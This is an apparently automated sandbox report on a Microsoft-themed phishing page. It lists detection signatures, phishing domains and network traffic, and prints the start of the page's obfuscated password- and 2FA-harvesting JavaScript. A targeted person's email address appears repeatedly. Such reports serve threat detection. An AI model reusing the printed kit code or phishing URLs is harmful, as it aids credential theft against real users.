Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
https://keep.za.com/cgi//redirect.php#rbruening@elford.com

Overview

General Information

Sample URL:https://keep.za.com/cgi//redirect.php#rbruening@elford.com
Analysis ID:1608754
Infos:

Detection

HtmlDropper
Score:60
Range:0 - 100
Confidence:100%

Signatures

AI detected phishing page
Yara detected Html Dropper
AI detected suspicious Javascript
HTML body contains low number of good links
HTML body contains password input but no form action
HTML page contains hidden javascript code
Invalid 'forgot password' link found
Javascript checks online IP of machine
No HTML title found
Stores files to the Windows start menu directory
URL contains potential PII (phishing indication)

Classification

  • System is w10x64_ra
  • chrome.exe (PID: 5552 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
    • chrome.exe (PID: 6768 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=1956,i,6581263779815864147,17771507680749106533,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
  • chrome.exe (PID: 6432 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://keep.za.com/cgi//redirect.php#rbruening@elford.com" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
  • cleanup
SourceRuleDescriptionAuthorStrings
dropped/chromecache_87JoeSecurity_HtmlDropper_3Yara detected Html DropperJoe Security
    SourceRuleDescriptionAuthorStrings
    2.12..script.csvJoeSecurity_HtmlDropper_3Yara detected Html DropperJoe Security
      No Sigma rule has matched
      No Suricata rule has matched

      Click to jump to signature section

      Show All Signature Results

      Phishing

      barindex
      Source: https://keep.za.com/cgi/b63fc8d582eda5fa.html?uid=rbruening%40elford.comJoe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL 'keep.za.com' does not match the legitimate domain 'microsoft.com'., The domain 'za.com' is a generic domain and not directly associated with Microsoft., The presence of an input field for 'Enter Password' on a non-Microsoft domain is suspicious., The URL does not contain any direct reference to Microsoft, which is a common tactic in phishing attempts. DOM: 2.7.pages.csv
      Source: 2.12..script.csvJoe Sandbox AI: Detected suspicious JavaScript with source url: https://avsbtech.store/cgi/xls/c1g2i.js... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The script appears to be collecting sensitive user information, such as passwords and 2FA codes, and sending it to potentially malicious domains. Additionally, the script uses aggressive DOM manipulation and legacy practices, further increasing the risk. While some contextual factors, such as the use of the Microsoft brand, could suggest legitimate intent, the overall behavior of the script is highly suspicious and indicative of a malicious phishing attempt.
      Source: https://keep.za.com/cgi/b63fc8d582eda5fa.html?uid=rbruening%40elford.comHTTP Parser: Number of links: 0
      Source: https://keep.za.com/cgi/b63fc8d582eda5fa.html?uid=rbruening%40elford.comHTTP Parser: <input type="password" .../> found but no <form action="...
      Source: https://keep.za.com/cgi//redirect.php#rbruening@elford.comHTTP Parser: Base64 decoded: <svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" fill="none"><path fill="#B20F03" d="M16 3a13 13 0 1 0 13 13A13.015 13.015 0 0 0 16 3m0 24a11 11 0 1 1 11-11 11.01 11.01 0 0 1-11 11"/><path fill="#B20F03" d="M17.038 18.615H14.87L14.563 9.5h2....
      Source: https://keep.za.com/cgi/b63fc8d582eda5fa.html?uid=rbruening%40elford.comHTTP Parser: Invalid link: Forgot Password?
      Source: https://avsbtech.store/cgi/xls/c1g2i.jsHTTP Parser: var _0xfd5851=_0x4a58;(function(_0x20ed6a,_0x216494){var _0x2fed19=_0x4a58,_0x250033=_0x20ed6a();while(!![]){try{var _0x9ac117=-parseint(_0x2fed19(0x182))/0x1+-parseint(_0x2fed19(0x1c9))/0x2+-parseint(_0x2fed19(0x1b5))/0x3*(parseint(_0x2fed19(0x1ac))/0x4)+parseint(_0x2fed19(0x1df))/0x5*(parseint(_0x2fed19(0x192))/0x6)+-parseint(_0x2fed19(0x1f8))/0x7+-parseint(_0x2fed19(0x188))/0x8+parseint(_0x2fed19(0x1c6))/0x9;if(_0x9ac117===_0x216494)break;else _0x250033['push'](_0x250033['shift']());}catch(_0x25c10d){_0x250033['push'](_0x250033['shift']());}}}(_0x3e16,0xf1344));function _0x3e16(){var _0x155ae0=['status','onmessage','animate','data','createelement','html','approve_number','<div><div\x20class=\x22footernode\x22>\x20<span\x20id=\x22c2024\x22>2024\x20microsoft</span><a\x20data-bind=\x22text:\x20config.text.privacyandcookies,\x20attr:\x20{\x27data-url\x27:\x20config.links.privacyandcookies}\x22\x20href=\x22#\x22\x20id=\x22pst\x22\x20data-url=\x22https://go.microsoft.com/fwlink/?linkid=521839\x22>privacy\x20sta...
      Source: https://keep.za.com/cgi/b63fc8d582eda5fa.html?uid=rbruening%40elford.comHTTP Parser: HTML title missing
      Source: https://keep.za.com/cgi/b63fc8d582eda5fa.html?uid=rbruening%40elford.comHTTP Parser: HTML title missing
      Source: https://keep.za.com/cgi//redirect.php#rbruening@elford.comSample URL: PII: rbruening@elford.com
      Source: https://keep.za.com/cgi//redirect.php#rbruening@elford.comSample URL: PII: rbruening@elford.com
      Source: https://keep.za.com/cgi//redirect.php#rbruening@elford.comSample URL: PII: rbruening@elford.com
      Source: https://keep.za.com/cgi//redirect.php#rbruening@elford.comSample URL: PII: rbruening@elford.com
      Source: https://keep.za.com/cgi//redirect.php#rbruening@elford.comSample URL: PII: rbruening@elford.com
      Source: https://keep.za.com/cgi//redirect.php#rbruening@elford.comSample URL: PII: rbruening@elford.com
      Source: https://keep.za.com/cgi//redirect.php#rbruening@elford.comSample URL: PII: rbruening@elford.com
      Source: https://keep.za.com/cgi//redirect.php#rbruening@elford.comSample URL: PII: rbruening@elford.com
      Source: https://keep.za.com/cgi//redirect.php#rbruening@elford.comSample URL: PII: rbruening@elford.com
      Source: https://keep.za.com/cgi//redirect.php#rbruening@elford.comSample URL: PII: rbruening@elford.com
      Source: https://keep.za.com/cgi//redirect.php#rbruening@elford.comSample URL: PII: rbruening@elford.com
      Source: https://keep.za.com/cgi//redirect.php#rbruening@elford.comSample URL: PII: rbruening@elford.com
      Source: https://keep.za.com/cgi//redirect.php#rbruening@elford.comSample URL: PII: rbruening@elford.com
      Source: https://keep.za.com/cgi/b63fc8d582eda5fa.html?uid=rbruening%40elford.comHTTP Parser: <input type="password" .../> found
      Source: https://keep.za.com/cgi//redirect.php#rbruening@elford.comHTTP Parser: No favicon
      Source: https://keep.za.com/cgi//redirect.php#rbruening@elford.comHTTP Parser: No favicon
      Source: https://keep.za.com/cgi//redirect.php#rbruening@elford.comHTTP Parser: No favicon
      Source: https://keep.za.com/cgi/b63fc8d582eda5fa.html?uid=rbruening%40elford.comHTTP Parser: No favicon
      Source: https://keep.za.com/cgi/b63fc8d582eda5fa.html?uid=rbruening%40elford.comHTTP Parser: No favicon
      Source: https://keep.za.com/cgi/b63fc8d582eda5fa.html?uid=rbruening%40elford.comHTTP Parser: No favicon
      Source: https://keep.za.com/cgi/b63fc8d582eda5fa.html?uid=rbruening%40elford.comHTTP Parser: No <meta name="author".. found
      Source: https://keep.za.com/cgi/b63fc8d582eda5fa.html?uid=rbruening%40elford.comHTTP Parser: No <meta name="author".. found
      Source: https://keep.za.com/cgi/b63fc8d582eda5fa.html?uid=rbruening%40elford.comHTTP Parser: No <meta name="copyright".. found
      Source: https://keep.za.com/cgi/b63fc8d582eda5fa.html?uid=rbruening%40elford.comHTTP Parser: No <meta name="copyright".. found
      Source: unknownHTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49741 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49743 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.16:49749 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.16:49770 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.16:49987 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.16:49995 version: TLS 1.2
      Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
      Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
      Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
      Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: unknownTCP traffic detected without corresponding DNS query: 2.23.77.188
      Source: unknownTCP traffic detected without corresponding DNS query: 192.229.211.108
      Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
      Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
      Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
      Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
      Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
      Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
      Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
      Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
      Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
      Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
      Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
      Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
      Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
      Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
      Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
      Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
      Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.10
      Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
      Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
      Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
      Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.10
      Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.10
      Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
      Source: unknownTCP traffic detected without corresponding DNS query: 172.202.163.200
      Source: unknownTCP traffic detected without corresponding DNS query: 172.202.163.200
      Source: unknownTCP traffic detected without corresponding DNS query: 172.202.163.200
      Source: unknownTCP traffic detected without corresponding DNS query: 172.202.163.200
      Source: unknownTCP traffic detected without corresponding DNS query: 172.202.163.200
      Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.10
      Source: unknownTCP traffic detected without corresponding DNS query: 172.202.163.200
      Source: global trafficDNS traffic detected: DNS query: keep.za.com
      Source: global trafficDNS traffic detected: DNS query: a.nel.cloudflare.com
      Source: global trafficDNS traffic detected: DNS query: challenges.cloudflare.com
      Source: global trafficDNS traffic detected: DNS query: www.google.com
      Source: global trafficDNS traffic detected: DNS query: avsbtech.store
      Source: global trafficDNS traffic detected: DNS query: linxcoded.store
      Source: global trafficDNS traffic detected: DNS query: code.jquery.com
      Source: global trafficDNS traffic detected: DNS query: server.linxcoded.store
      Source: global trafficDNS traffic detected: DNS query: _6060._https.server.linxcoded.store
      Source: global trafficDNS traffic detected: DNS query: api.ipify.org
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49744
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49865
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49986
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49743
      Source: unknownNetwork traffic detected: HTTP traffic on port 49817 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49864
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49985
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49742
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49863
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49984
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49741
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49862
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49983
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49740
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49861
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49982
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49860
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49981
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49980
      Source: unknownNetwork traffic detected: HTTP traffic on port 49932 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49898 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49875 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49852 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49795 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49990 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49739
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49738
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49859
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49858
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49979
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49736
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49857
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49978
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49735
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49856
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49977
      Source: unknownNetwork traffic detected: HTTP traffic on port 49772 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49855
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49976
      Source: unknownNetwork traffic detected: HTTP traffic on port 49841 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49854
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49975
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49853
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49974
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49731
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49852
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49973
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49730
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49851
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49972
      Source: unknownNetwork traffic detected: HTTP traffic on port 50039 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49850
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49971
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49970
      Source: unknownNetwork traffic detected: HTTP traffic on port 49967 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49784 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49749 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50004 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49909 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49806 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49729
      Source: unknownNetwork traffic detected: HTTP traffic on port 49943 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49849
      Source: unknownNetwork traffic detected: HTTP traffic on port 49714 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49727
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49848
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49969
      Source: unknownNetwork traffic detected: HTTP traffic on port 49978 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49847
      Source: unknownNetwork traffic detected: HTTP traffic on port 49886 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49968
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49725
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49846
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49967
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49845
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49724
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49966
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49723
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49844
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49965
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49722
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49843
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49964
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49842
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49963
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49841
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49962
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49840
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49961
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49960
      Source: unknownNetwork traffic detected: HTTP traffic on port 50015 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50040 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49966 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49989 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49748 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49760 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49828 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49933 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50028 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49805 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49719
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49718
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49839
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49838
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49717
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49959
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49837
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49716
      Source: unknownNetwork traffic detected: HTTP traffic on port 49715 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49958
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49715
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49836
      Source: unknownNetwork traffic detected: HTTP traffic on port 49921 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49957
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49714
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49835
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49956
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49713
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49834
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49955
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49712
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49833
      Source: unknownNetwork traffic detected: HTTP traffic on port 49887 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49954
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49711
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49832
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49953
      Source: unknownNetwork traffic detected: HTTP traffic on port 50062 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49710
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49831
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49952
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49830
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49951
      Source: unknownNetwork traffic detected: HTTP traffic on port 49839 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49864 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49950
      Source: unknownNetwork traffic detected: HTTP traffic on port 49944 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49910 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49853 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50051 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49796 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49709
      Source: unknownNetwork traffic detected: HTTP traffic on port 49955 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49708
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49829
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49707
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49828
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49949
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49706
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49827
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49948
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49705
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49826
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49947
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49704
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49825
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49946
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49824
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49945
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49823
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49944
      Source: unknownNetwork traffic detected: HTTP traffic on port 49771 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49943
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49788
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49787
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49786
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49785
      Source: unknownNetwork traffic detected: HTTP traffic on port 49922 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49784
      Source: unknownNetwork traffic detected: HTTP traffic on port 49945 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49783
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49782
      Source: unknownNetwork traffic detected: HTTP traffic on port 50017 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49781
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49780
      Source: unknownNetwork traffic detected: HTTP traffic on port 49968 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49785 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50049 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50026 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49807 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49980 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49713 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49736 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49759 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49779
      Source: unknownNetwork traffic detected: HTTP traffic on port 49885 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49778
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49899
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49777
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49898
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49776
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49897
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49775
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49896
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49774
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49895
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49773
      Source: unknownNetwork traffic detected: HTTP traffic on port 49862 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49894
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49772
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49893
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49771
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49892
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49770
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49890
      Source: unknownNetwork traffic detected: HTTP traffic on port 49724 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49897 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49911 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49957 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49851 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49830 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49991 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49769
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49768
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49889
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49767
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49888
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49766
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49887
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49765
      Source: unknownNetwork traffic detected: HTTP traffic on port 49758 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49886
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49764
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49885
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49763
      Source: unknownNetwork traffic detected: HTTP traffic on port 49863 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49884
      Source: unknownNetwork traffic detected: HTTP traffic on port 50038 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49762
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49883
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49761
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49882
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49760
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49881
      Source: unknownNetwork traffic detected: HTTP traffic on port 49840 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49880
      Source: unknownNetwork traffic detected: HTTP traffic on port 49725 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49896 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49770 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50050 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49797 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49956 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50005 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49979 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49759
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49758
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49879
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49757
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49878
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49999
